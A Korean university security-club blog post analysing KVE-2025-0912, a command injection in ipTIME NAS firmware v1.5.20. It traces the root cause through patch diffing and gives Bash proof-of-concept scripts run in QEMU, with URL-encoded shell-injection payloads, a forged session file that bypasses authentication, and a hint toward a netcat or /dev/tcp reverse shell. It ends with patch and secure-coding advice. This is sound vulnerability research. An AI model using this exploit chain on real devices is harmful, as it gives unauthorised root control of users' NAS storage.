안녕하세요!
이번 중앙대학교 산업보안학과 과동아리
SECURIOUS OFFENSIVE Phase 2
팀의 달주노입니다.
저번 1회차에 이어서 2회차!
KVE-2025-0912 취약점을 분석해보려고 합니다.
처음은 아니지만...아직까지 초보니깐 감안해서 봐주세요ㅠ

1. 개요 ( Vulnerability Summary )
대상 기기: ipTIME NAS1dual, NAS2dual, NAS3dual, NAS4dual ( v1.5.20 버전 )
타겟 바이너리: backupclient.cgi (특정 CGI 바이너리)
취약점 유형: Command Injection 취약점을 통한 Root Shell 획득
영향도: 가상으로 구현한 QEMU 에뮬레이션 환경에서 환경변수를 조작하여
익스플로잇(Exploit) 재현 및 취약점을 검증하였으며,
이를 실제 환경에 적용할 경우 인가되지 않은 외부 공격자가
원격에서 기기의 최고 권한(Root)을 탈취할 수 있음.
2. 취약점 원인 분석 ( Root Cause Analysis )
가장 먼저, 두 펌웨어
패치 버전과 취약 버전을 각각 다운로드.
binwalk 및 Ghidriff(Ghidra) 로 비교 분석을 진행
상세한 내용은 이전 분석글(1회차)를 참고하시길 바랍니다!
https://daljunho.tistory.com/11
[1-Day 분석] ipTIME NAS minidlna 취약점(KVE-2025-0801) 분석
안녕하세요!이번 중앙대학교 산업보안학과 과동아리SECURIOUS OFFENSIVE Phase 2팀의 달주노입니다. 1회차 원데이 클래스로KVE-2025-0801를 분석해보록 하겠습니다.취약점 분석은 처음이니너그러운 마음
daljunho.tistory.com
그런데!
패치 전후의 바이너리 비교를 위해 두 backupclinet.cgi 파일을
ghidriff로 추출하려 했으나, 오류가 발생.
따라서, 펌웨어 내부에서 해당 파일을 확인해 보니
정상적인 ELF 실행 파일이 아닌 단순 데이터 파일(또는 심볼릭 링크)에 불과!
즉, 직접적인 디컴파일이 불가능한 껍데기임을 알 수 있다.
file backupclient.cgi
backupclient.cgi: data
진짜 로직을 처리하는 본체를 찾기 위해 펌웨어 디렉토리를
찾던 도중, 동일 파일명인 설정 파일(HTML/XML)에서 결정적인 단서를 발견.
<item id="backupclient" label="BackupClient" description="" url="/cgi/advanced/backupclient.cgi" parent="backup_mgmt" order="110"/>
url은 backupclient.cgi를 가리키고 있었지만,
진짜 백엔드 로직을 처리하는 본체는 backup_mgmt.cgi 였던 것이다!
타겟의 진짜 정체를 파악한 후,
곧바로 해당 바이너리를 ghidriff에 올려 비교 분석을 시작.
file backup_mgmt.cgi
backup_mgmt.cgi: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=5ab704c7814f1fc74cb8d0c888a8dc615e68f83f, stripped
두 버전 간의
함수 변경점(Modified/Added/Deleted)을 추출하기 위해
backup_mgmt_v20.cgi-backup_mgmt_v22.cgi.ghidriff.md
( 마크다운 형식의 요약 보고서 )를 분석.

FUN_000142e4 함수만 수정되었음을 알아냄.


FUN_000142e4가 취약함수임을 알았으니,
IDA로 디컴파일해서 코드를 분석.
다른 POST 파라미터들(server_name, user_id 등)은
모두 check_unpermitted_chars() 함수를 거쳐
특수문자를 검열받고 있는데,
유독 password_pass 파라미터만 검증 없이 그대로 통과하는
치명적인 결함을 발견함!

그렇다면! 해당 검증우회를 파악하기 위해
악의적인 문자열(password_pass)이
변수에 담겨 어디로 향하는지(Data Flow) 추적하기로 함.
코드를 따라가 보니, 이 값이 곧바로
SHA256Hash() 라는 함수의 인자값으로 던져지는 것을 확인.

그러나 IDA에선 해당 함수를 CGI 바이너리 내부에 구현하지 않았고
외부의 동적 라이브러리(.so)를 호출한다는 사실을 알게 되었다.
따라서, 펌웨어 파일들 중에서 SHA256Hash가 어디 있는지 확인하고자
grep 스캐닝으로 모든 라이브러리 파일들을 확인했고,
그 결과 2개 라이브러리가 탐지.
진짜를 찾기 위해 nm -D (심볼 테이블 출력 명령어)를 사용해 비교.
libeprop.so.0에서는 U (Undefined)
즉, 외부에서 빌려 쓰는 함수로 마킹되어 있었지만,
libesys.so.0에서는 T (Text) 로 마킹되어
해당 바이너리 내부에 실제 코드가 구현되어 있음을 확인.
nm -D ./lib/libeprop.so.0 | grep SHA256Hash
U SHA256Hash
nm -D ./lib/libesys.so.0 | grep SHA256Hash
00010995 T SHA256Hash
타겟을 libesys.so.0로 완벽하게 좁힌 후, 곧바로 ghidriff으로 비교 분석을 진행했다.



SHA256함수에서는 내부 C 라이브러리의 해시 알고리즘을 사용하는 것이 아니라
popen()을 이용해 리눅스 시스템 명령어인 openssl을 호출하고 있었다!
// 패치 버전에서는 기존의 쉘 명령어(openssl dgst) 호출 방식을 완전히 폐기하고,
안전한 C 네이티브 라이브러리인 SHA256() API 호출 방식으로 아키텍처를 전면 교체
➡️전형적인 OS Command Injection 취약점!
쉽게 이해하는 Command Injection 원리
정상 입력: 비밀번호에 1234를 넣으면 서버는 echo -n "1234" | openssl... 을 실행.
만약 해커가 비밀번호에 1234"; /bin/sh; " 를 넣으면?
결국, 실행 결과로 echo -n "1234" ; /bin/sh ; " | openssl...
해커가 맘대로 적은 /bin/sh (시스템 제어 쉘)가 최고 권한으로 실행되어 버림!
결국, 입력값 input_str에 대한 필터링이 전혀 없기 때문에,
명령어 분리자(;)를 사용하면 openssl 실행 전후로
원하는 쉘 명령어를 루트 권한으로 실행할 수 있는 명백한 취약점이었다.

3. Attack Vector 식별 ( The Path to Vulnerability )
취약점의 근본 원인(Root Cause)을 파악했으니,
이제 이 취약한 함수(SHA256Hash)까지
도달하기 위한 경로(Vector)를 설계해야 한다.
3.1. 진입 조건: password_pass 파라미터
backup_mgmt.cgi 파일의 디컴파일 코드를 보면
취약점이 터지는 로직에 진입하기 위해서는
!v28 (v28 변수가 0이어야 함) 이라는 선행 조건이 필요.


여기서 v28은 앞선 로직에서 클라이언트가
안전한 password_hash 파라미터를 보냈을 때
1로 세팅되는 일종의 '안전 플래그'
따라서,악성 페이로드를 전송할 때
반드시 password_hash 파라미터를 아예 빼버리거나 빈 값으로 전송해야만
방어 로직을 건너뛰고 취약한 틈새(password_pass)로 파고들 수 있다!
3.2. Clean Exploit: authcheck=on 전략
추가로, payload 작성에 앞서 password_pass 파라미터가
2갈래로 나뉘는 걸 알 수 있는데
첫번째(Branch A)는 authcheck 파라미터가 없거나 "on"이 아니면 실행.
두번째(Branch B)는 authcheck 파라미터가 "on"이면 실행.

만약, poc 코드에서 authcheck를 빼버리고 공격을 진행한다면
펌웨어는 위쪽(Branch A)를 타고 password_pass 파라미터까지 도달.

결국, 도착점은 같으나...!
쉘이 열린 직후, 펌웨어는 그 아래에 있는 set_backupclient_config(a2) 함수를 실행하고
최종적으로 우리가 보낸 쓰레기 값들과 악성 페이로드를
NAS의 실제 백업 클라이언트 공식 설정(Config)으로 영구 저장해버림!
// 페이로드에 authcheck=on을 추가해 작성해야지
실제 백업 설정 파일을 파괴하지 않고 깔끔하게 쉘만 탈취 가능.
3.3. 장애물 돌파: 세션 검증 우회 (Session Bypass)

qemu 가상환경에서 환경변수 설정 후 익스플로잇 코드를 실행하면
이와 같은 오류가 발생 / session_timeout (세션 만료) 메시지.
CGI 본 로직에 닿기도 전에,
펌웨어의 자체 인증망에 걸려 공격이 차단된 것이다!
이를 뚫어내기 위해 QEMU의 시스템 콜 도청 기능(strace)과
ida-pro-mcp(gemini-cli) 를 활용해
GitHub - mrexodia/ida-pro-mcp: AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP.
AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP. - mrexodia/ida-pro-mcp
github.com
펌웨어의 세션 검증을 담당하는 libesys.so.0을
역추적 하였고 결국 두 가지 인증
(check_session_id, 로컬 세션 파일 검증)을 우회할 수 있었음!
// 이에 대한 자세한 내용은 5장 Trouble Shooting에서 상세 기술.

4. Proof of Concept (PoC)
4.1. Exploit Scenario
지금까지 설명해온 취약점 분석을 통해
식별한 password_pass 파라미터의 Command Injection 취약점을
활용하여, 깐깐한 세션 검증 로직을 우회하고
최고 권한(Root)으로 시스템 명령어 실행(RCE)에
도달하는 Exploit chain을 구성할 수 있다.
Attack Vector: 관리자 페이지의 backupclient.cgi POST 요청 내 password_pass 파라미터
Technique 1: 파일 디스크립터 조작 (>&2 0>&1)을 통한 Interactive Shell 획득
POST_DATA="authcheck=on&password_pass=%22%3b%20%2Fbin%2Fsh%20-i%20%3e%262%200%3e%261%20%3b%22"
password_pass URL 디코딩: "; /bin/sh -i >&2 0>&1 ;"
본 페이로드에서 사용한 >&2 0>&1 파이프라인 조작 기법은
로컬 QEMU 에뮬레이션 환경에서 호스트(WSL) 터미널과
직접 통신하기 위해 특수하게 고안된 트릭!
// >&2 (또는 1>&2): "쉘의 출력(1)을 웹 서버로 보내지 말고 에러 채널(2)로 쏴라!"
(결과값이 내 WSL 화면에 보이게 됨)
0>&1: "쉘의 입력(0)도 방금 돌려놓은 출력(1=2) 채널에 연결해라!"
(내 WSL 화면에서 키보드를 치면 쉘로 입력이 들어감)
IF) 만약 실제 네트워크상에 존재하는 타겟 기기를 공격할 때는
이 방식 대신 nc (Netcat) 이나 /dev/tcp 소켓을 이용해
공격자의 IP로 역연결을 시도하는 Reverse Shell 페이로드로 변경하여 전송해야 함..!
Technique 2: authcheck=on 파라미터 삽입을 통한 Clean Exploit
// 실제 백업 설정(Config)을 덮어써서 시스템을 파괴하지 않고,
임시 연결 테스트 분기(Branch)만 타도록 유도하여 쉘만 깔끔하게 획득!
Bypass 1: Parameter 누락 기법
password_hash 파라미터가 존재하면 안전 플래그(v28=1)가 세워지므로
페이로드 전송 시 해당 파라미터를 아예 누락시켜 방어 로직을 무력화.
Bypass 2: 세션 검증 및 위조 세션 파일 주입
세션 ID 값을 필터링 하는 검증 함수를 파악해
가짜 마스터 세션을 생성하고
로컬 런타임 폴더(/var/run/Status/)에 펌웨어가
요구하는 포맷의 가짜 세션 명부(.set)를 생성하여 인증망 우회.
// 이에 대한 자세한 내용은 5장 Trouble Shooting에서 상세 기술.
4.2. Exploit Code
//위 시나리오를 바탕으로 가상 환경(QEMU)에서
작동하도록 작성한 최종 Bash PoC 스크립트.
#코드 실행 전 backupclient.cgi 파일(심볼릭 링크)을
bakup_mgmt.cgi(원본)를 가리키도록 해야 함! #
🟢 [Version 1] 순수 리눅스 환경 (~ 디렉토리) - "Interactive Shell"
심볼릭 링크가 정상적으로 살아있고, 리눅스 파이프 통신이 원활하게 작동!
#!/bin/bash
# --- [1] 가짜 세션 폴더 생성 및 위조 명부 주입 ---
SESSION_ID="a1b2c3d4e5f6g7h8"
SESSION_DATA="${SESSION_ID}=admin:dummy:127.0.0.1:2147483647:1"
sudo mkdir -p ./var/run/Status
echo "$SESSION_DATA" | sudo tee ./var/run/Status/HTTPSession_Mgmt.set > /dev/null
sudo chmod -R 777 ./var/run/Status
# --- [2] 웹 서버 환경 변수 세팅 ---
export REMOTE_ADDR="127.0.0.1"
export HTTP_COOKIE="efm_session_id=${SESSION_ID}"
export REQUEST_METHOD="POST"
# --- [3] Command Injection 페이로드 발사 (password_hash 누락) ---
# password_pass URL 디코딩: "; /bin/sh -i >&2 0>&1 ;"
POST_DATA="authcheck=on&password_pass=%22%3b%20%2Fbin%2Fsh%20-i%20%3e%262%200%3e%261%20%3b%22"
export CONTENT_LENGTH=$(printf "%s" "$POST_DATA" | wc -c)
printf "%s" "$POST_DATA" | sudo -E chroot . /bin/qemu-arm-static /usr/webroot/cgi/advanced/backupclient.cgi
🔴 [Version 2] 윈도우 마운트 환경 (/mnt/c/...) - "Blind RCE"
펌웨어를 윈도우에서 추출하여 리눅스와 마운트한 경우
NTFS 시스템의 한계로 인해 모든 심볼릭 링크가
0바이트 껍데기로 깨져있고, 파이프 통신이 끊어짐!
// 따라서 실행에 필요한 기본 껍데기(var, tmp, sh)를 물리적으로 복구한 뒤,
결과를 텍스트 파일로 몰래 남기는 Blind(단발성) RCE 방식을 사용.
#!/bin/bash
# Description: Blind RCE PoC via stderr Redirection (For WSL /mnt/c/ Environment)
# 1. 환경 물리 치료 (가장 중요!)
sudo rm -rf ./var ./tmp
sudo mkdir -p ./var/run/Status ./tmp
sudo chmod -R 777 ./var/run ./tmp
sudo rm -f ./bin/sh
sudo cp ./bin/busybox ./bin/sh # 깨진 쉘 복구
# 2. 세션 주입
SESSION_ID="a1b2c3d4e5f6g7h8"
echo "${SESSION_ID}=admin:dummy:127.0.0.1:2147483647:1" | sudo tee ./var/run/Status/HTTPSession_Mgmt.set > /dev/null
# 3. 환경 변수 설정
export REMOTE_ADDR="127.0.0.1"
export HTTP_COOKIE="efm_session_id=${SESSION_ID}"
export REQUEST_METHOD="POST"
# 4. 페이로드 (결과를 stderr 2번 채널로 강제 리다이렉션)
# 페이로드: "; /bin/busybox id >&2 ;"
POST_DATA="authcheck=on&password_pass=%22%3b%20%2Fbin%2Fbusybox%20id%20%3e%262%20%3b%22"
export CONTENT_LENGTH=$(printf "%s" "$POST_DATA" | wc -c)
# 5. 실행
echo "🚀 [Blind Exploit] 결과를 stderr 채널에서 강제로 읽어옵니다..."
printf "%s" "$POST_DATA" | sudo -E chroot . /bin/qemu-arm-static /usr/webroot/cgi/advanced/backupclient.cgi
4.3. Execution Result
스크립트 실행 결과, 지긋지긋한 session_timeout을 뚫고
마침내 시스템의 최고 권한인 Root Shell이 열린 것을 확인할 수 있다!

5. Trouble Shooting

🚨Issue 1. 세션 ID 규격 검증
qemu 가상환경에 환경변수 설정 및 페이로드 공격을 실행하여도
계속해서 CGI 본 로직에 닿기도 전에,
펌웨어의 자체 인증망에 걸려 끝없는 session_timeout 에러가 발생했다..
따라서, 세션 ID 규격이 문제있음을 예상.
export HTTP_COOKIE="efm_session_id=admin"
# 잘못된 세션값
쿠키에 단순한 문자열(admin)을 넣고 보냈을 때
즉시 차단당하는 원인을 찾기 위해
세션 ID의 '진짜' 규격을 찾도록
gemini cli를 이용.
gemini cli 분석
...
if ( strlen(a1) == 16 ) // 문자열의 길이가 정확히 16바이트인지 확인
* 세션 ID의 길이는 반드시 정확히 16자리여야 합니다. 16자리가 아니면 로그(라인 73)를 남기고 0을 반환합니다.
if ( check_alpha_num(a1) ) // 모든 문자가 알파벳(a-z, A-Z) 또는 숫자(0-9)인지 확인
* check_alpha_num 함수를 호출하여 세션 ID가 영문자와 숫자로만 구성되어 있는지 확인합니다. 특수 문자나 공백 등이
포함되면 로그(라인 78)를 남기고 0을 반환합니다.
요약: 세션 ID 규칙
1. 길이: 정확히 16자
2. 허용 문자: 영문 대소문자 및 숫자 (Alphanumeric)
3. 특이사항: 특정 접두사(prefix) 요구사항은 없으며, 위 두 가지 조건(16자리 + 영문숫자)만 충족하면 형식을 통과한
것으로 간주합니다.
따라서 유효한 세션 ID 형식의 예시는 a1b2c3d4e5f6g7h8과 같은 형태입니다.
AI의 분석 결과를 내 눈으로 직접 교차 검증하기 위해,
IDA로 libesys.so.0의 check_session_id 함수를 디컴파일하여
세션 ID 검증 로직을 확인해 보았다.

실제로 세션 ID가 반드시 "정확히 16자리의 영문자 및 숫자"로만
구성되어야 하는걸 알 수 있었고,
단순한 admin 같은 문자열은 메모리 단에서 즉시 차단하는 걸 알 수 있었다.
따라서, 최종적으로 a1b2c3d4e5f6g7h8 라는 16자리
가짜 마스터 세션 ID를 생성하여 쿠키에 대입하여 POC 코드를 작성!
🚨Issue 2. 세션 파일 경로 및 포맷 검증
세션 ID까지 16자리(영문자 및 숫자)로 맞춰 공격했으나
이번에도 동일하게 session_timeout이 발생.
"그렇다면 이 녀석은 내 쿠키가 진짜인지 가짜인지 확인하기 위해
대조를 해보고 있구나.."를 추론할 수 있음!
이를 역추적하고자 strace로 "session"을 검색!

[pid 1951] openat(AT_FDCWD, "/var/run/Status/HTTPSession_Mgmt.set", O_RDONLY) = -1 ENOENT (No such file or directory)
strace를 통해 세션 파일의 경로(/var/run/Status/...)와
파일 형태(HTTPSession_Mgmt.set)를 알아내었고
이 역시 소스 코드 레벨에서 완벽하게 증명하기 위해
gemini cli (MCP 연동)를 활용한 정적 분석을 수행.



해당 분석 결과를 바탕으로 16자리 규격의 세션 ID를 통과하더라도 시스템은
로컬 파일시스템에 저장된 실제 세션 데이터와 대조를 수행한다는 것을 알게 됨.
그리고, 파싱 매커니즘도 파일에서 읽은 텍스트를
strchr('=')과 strtok(':')을 이용해 5조각으로 잘라 구조체에 담고 있었다.
따라서, 입력한 페이로드가 아래와 같은 예시로 조각난다!
예시 👉 a1b2c3d4e5f6g7h8=admin:dummy:127.0.0.1:2147483647:1
strchr(line, '='): 문자열을 두 동강
키: a1b2c3d4e5f6g7h8
값: admin:dummy:127.0.0.1:2147483647:1
strtok(raw_data, ":"): 콜론(:)을 기준으로 값을 5조각
strcpy(out->session_id, token) ➡️ admin
strcpy(out->user_info, token) ➡️ dummy
strcpy(out->remote_ip, token) ➡️ 127.0.0.1 (로컬 IP)
sscanf(token, "%u", &out->timestamp) ➡️ 2147483647 (2038년까지)
out->timeout_flag = atoi(token) ➡️ 1 (활성화 상태)
따라서, 해당 펌웨어의 파싱 로직에 1:1를 대응하는
페이로드를 작성해야 함을 알 수 있다!
최종적으로,
가상의 런타임 폴더(/var/run/Status/HTTPSession_Mgmt.set)를 생성하고
a1b2c3d4e5f6g7h8=admin:dummy:127.0.0.1:2147483647:1 데이터를 삽입하여
로컬 세션 검증을 완벽히 우회!
🚨 Issue ETC. 깨져버린 심볼릭 링크 (Broken Symbolic Link)
이전 Issue 1,2 를 해결 하기 전
해당 문제가 처음 마주한 Issue 임! 순서 참고 바람..
이전 환경변수 조작 및 qemu 가상화를 실행하면
session_timeout이 뜨기도 전에 해당 문제가 발생한다!
qemu-arm-static: /lib/ld-linux.so.3: Incomplete read of file header
분명히 존재하는 라이브러리를 없다고 하거나(No such file or directory),
원인 모를 에러(file too short, no version information available)를 뿜어대며
프로그램이 뻗어버리는 현상인 것 이다..
분석해 본 결과!
원인은 WSL 환경(특히 Windows C드라이브 마운트)의 파일 시스템 구조적 한계..
리눅스의 심볼릭 링크(Symbolic Link)를 Windows의 NTFS 파일 시스템이
온전히 이해하지 못해, 펌웨어 추출 과정에서 수많은 주요 링크들이
'0바이트 쓰레기 텍스트 파일(껍데기)'로 변질되어 버린 것이다.
#-예시
ls -al ./lib/libcrypt*
sudo rm -f ./lib/libcrypt.so.1
sudo cp ./lib/libcrypt-2.21.so ./lib/libcrypt.so.1
처음에는 예시처럼 일일이 하나 하나씩 원본파일을 찾고
원본파일을 뒤집어 쓰도록 하였지만..
계속해서 심볼릭 링크 문제가 끊임없이 발생한다는 것을 인지!
최종적으로, 이 모든 환경적 오류를 단 한 방에 진단하고
펌웨어를 자가 치유(Auto-Repair)하는 통합 쉘 스크립트를 작성하도록 함.
#!/bin/bash
echo "================================================="
echo " 🚀 ipTIME Firmware QEMU Auto-Repair & Exploit"
echo "================================================="
# --- [Phase 1] 동적 링커(ld-linux.so.3) 복구 ---
echo -e "\n[2] 동적 링커 복구 중..."
REAL_LD=$(ls -S ./lib/ld-*.so 2>/dev/null | head -n 1)
if [ -n "$REAL_LD" ]; then
sudo rm -f ./lib/ld-linux.so.3
sudo cp "$REAL_LD" ./lib/ld-linux.so.3
echo " -> 🔗 ld-linux.so.3 ➡️ $(basename "$REAL_LD") 복구 완료"
fi
# --- [Phase 2] 0바이트 껍데기 라이브러리 일괄 복구 (Ultimate Fix) ---
echo -e "\n[3] 손상된 라이브러리 일괄 복구 중 (두더지 잡기 끝!)..."
for libdir in ./lib ./usr/lib; do
if [ ! -d "$libdir" ]; then continue; fi
find "$libdir" -maxdepth 1 -type f -size -10k | while read f; do
if ! head -c 4 "$f" | grep -q "ELF"; then
base_name=$(basename "$f")
core_name=$(echo "$base_name" | sed -E "s/(-[0-9].*|\.so.*)//")
real_file=$(ls -S "$libdir"/${core_name}* 2>/dev/null | head -n 1)
if [ -n "$real_file" ] && [ "$real_file" != "$f" ]; then
sudo rm -f "$f"
sudo cp "$real_file" "$f"
echo " -> ✅ [완벽 복구] $base_name ➡️ $(basename "$real_file")"
fi
fi
done
done
# --- [Phase 3] 코어 라이브러리(GLIBC) 강제 동기화 ---
echo -e "\n[4] 코어 라이브러리(GLIBC) 강제 동기화 중..."
LIBC_FILE=$(ls -S ./lib/libc-[0-9]*.so 2>/dev/null | head -n 1)
if [ -n "$LIBC_FILE" ]; then
GLIBC_VER=$(basename "$LIBC_FILE" | sed -E 's/libc-([0-9]+\.[0-9]+)\.so/\1/')
echo " -> ⚙️ 감지된 시스템 코어 버전: $GLIBC_VER"
sudo cp ./lib/libc-${GLIBC_VER}.so ./lib/libc.so.6 2>/dev/null
sudo cp ./lib/libdl-${GLIBC_VER}.so ./lib/libdl.so.2 2>/dev/null
sudo cp ./lib/libm-${GLIBC_VER}.so ./lib/libm.so.6 2>/dev/null
sudo cp ./lib/libpthread-${GLIBC_VER}.so ./lib/libpthread.so.0 2>/dev/null
sudo cp ./lib/libcrypt-${GLIBC_VER}.so ./lib/libcrypt.so.1 2>/dev/null
echo " -> 🔄 코어 5대장 버전 동기화 완료!"
fi

6. Remediation ( 보안 패치 방안 및 의견 )
본 취약점은 v1.5.22 버전에서 API 호출 로직이 추가되며 패치되었습니다.
6.1. 패치 내용 (v1.5.22)

SHA256() API 직접 호출로의 아키텍처 변경
제조사(ipTIME)는 이 치명적인 취약점을 막기 위해
핵심 라이브러리(libesys.so.0)의 로직을 뜯어고쳤다.
기존처럼 위험한 OS 명령어 문자열을 조립해 실행하던
popen() 방식을 완전히 삭제하고, C 네이티브 라이브러리인
SHA256() API를 직접 호출하는 방식으로 전면 교체!
// 이제 입력값에 쉘 분리자(;)를 넣어도 메모리상의 순수 데이터로만
취급되므로 인젝션은 원천 차단된다...!
6.2. 분석 제언 (시큐어 코딩)
이번 취약점 분석을 통해 도출할 수 있는 근본적인 보안 조치 방안은 다음과 같다!
1️⃣위험한 시스템 콜(popen, system, exec 등) 사용 지양
기능 구현의 편의성을 위해
OS 명령어를 문자열로 조립하여 실행하는 것은
Command Injection의 가장 훌륭한 먹잇감이다..
외부 툴에 의존하지 말고, 언어 내장에 탑재된
검증된 라이브러리(API)를 사용할 수 있도록 하는 것이 안전하다!
2️⃣일관성 있는 입력값 검증 (Input Validation의 부재)
다른 모든 파라미터에 철저하게 적용되었던
check_unpermitted_chars() 함수가,
하필이면 가장 중요한 password_pass에만 누락되는 실수(Human Error)가 발생..
입력단(Boundary)에서 예외 없는
일관된 화이트리스트(Whitelist) 기반 필터링 적용이 필수적이다!
7. 마치며
이번 분석은 겉으로 드러난 CGI 껍데기만
보아서는 절대 풀 수 없는 문제였던 것 같다..
인증 로직이 여러 개의 공유 라이브러리(.so)에
분산되어 있는 펌웨어의 아키텍처이다 보니
하나의 바이너리만으로 취약점을 추출할 수 없다 보니
시작점을 찾는 것 자체도 힘들었다 ㅠㅠ
결국, 인증 로직과 해시 함수의 실체를 쫓아,
QEMU 동적 분석과 IDA 정적 분석을 넘나들었던 과정은
힘들고.. 괴로웠.. 수고많았던...
늪에 빠진 것 같았지만
최종적으로 빠져나오니 정말 짜릿했다!

// 포기하지 않고 끈질기게 매달려 쟁취한 Root Shell이 레전드 감동..
추가로, 이번 분석에는 처음으로
ida-pro-mcp 와 gemini cli를 결합해보았다.
AI를 실제 취약점 리버싱 과정에 사용해보면서
시스템 아키텍처를 이해하고 에뮬레이션 환경을
트러블슈팅하는 데 있어 정말로 유용함을 몸소 체감했다...!
앞으로 AI와 MCP 툴들의 연결을 잘 활용하여
나만의 취약점 분석 과정을 체득하고
이를 분석 과정에 이용한다면
나중에 도움 및 엄청난 무기가 될 것 같다!
긴 글 읽어주셔서 감사합니다.

'🔐취약점 분석' 카테고리의 다른 글
| [1-Day 분석] ipTIME NAS dual OS 취약점(KVE-2025-0935) 분석 (0) | 2026.06.01 |
|---|---|
| [1-Day 분석] ipTIME NAS minidlna 취약점(KVE-2025-0801) 분석 (0) | 2026.04.11 |